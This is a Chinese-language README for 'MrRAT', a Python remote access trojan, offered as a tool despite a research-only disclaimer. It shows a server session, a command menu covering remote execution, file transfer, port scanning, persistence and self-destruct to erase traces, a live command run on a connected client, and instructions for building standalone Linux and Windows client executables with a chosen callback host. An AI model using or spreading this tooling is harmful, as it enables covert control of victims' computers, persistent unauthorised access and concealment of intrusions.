这是一个跨平台的 Python 2.x 远程访问木马(RAT),MrRAT 的创建是为了保持一个干净设计的全功能 Python RAT。目前仍在开发中,并且仍在积极修改中。
免责声明:此 RAT 仅用于研究目的,只能在经授权的系统上使用。未经授权或明确许可访问计算机系统或网络是非法的。
$ python MrRAT_server.py --port 1337
/$$ /$$ /$$$$$$$ /$$$$$$ /$$$$$$$$
| $$$ /$$$ | $$__ $$ /$$__ $$|__ $$__/
| $$$$ /$$$$ /$$$$$$ | $$ \ $$| $$ \ $$ | $$
| $$ $$/$$ $$ /$$__ $$| $$$$$$$/| $$$$$$$$ | $$
| $$ $$$| $$| $$ \__/| $$__ $$| $$__ $$ | $$
| $$\ $ | $$| $$ | $$ \ $$| $$ | $$ | $$
| $$ \/ | $$| $$ | $$ | $$| $$ | $$ | $$
|__/ |__/|__/ |__/ |__/|__/ |__/ |__/
, .
(\,;,/)
(o o)\//,
\ / \,
`+'( ( \ )
// \ |_./
'~' '~----'
https://github.com/user696/MrRAT
MrRAT server listening for connections on port 1337.
[?] MrRAT> help
client <id> - Connect to a client.
clients - List connected clients.
download <files> - Download file(s).
execute <command> - Execute a command on the target.
help - Show this help menu.
kill - Kill the client connection.
persistence - Apply persistence mechanism.
quit - Exit the server and end all client connections.
scan <ip> - Scan top 25 ports on a single host.
selfdestruct - Remove all traces of the RAT from the target system.
survey - Run a system survey.
unzip <file> - Unzip a file.
upload <files> - Upload files(s).
wget <url> - Download a file from the web.
[?] MrRAT> clients
ID - Client Address
1 - 127.0.0.1
[?] MrRAT> client 1
[1] MrRAT> execute uname -a
Linux sandbox3 4.8.13-1-ARCH #1 SMP PREEMPT Fri Dec 9 07:24:34 CET 2016 x86_64 GNU/Linux
请记住,在构建之前,您可能想要修改 MrRAT_client.py 顶部的 HOST 和 PORT 变量以满足您的需求。
在 Linux 上,您需要 Python 2.x、PyInstaller 和 pycrypto。然后运行类似 pyinstaller2 --onefile MrRAT_client.py 的命令,它应该会生成一个包含独立 ELF 可执行文件的 dist/ 文件夹。
在 Windows 上,您需要 Python 2.x、PyInstaller、pycrypto、pywin32 和 pefile。然后运行类似 C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile MrRAT_client.py 的命令,它应该会生成一个包含独立 PE(便携式可执行文件)的 dist/ 文件夹。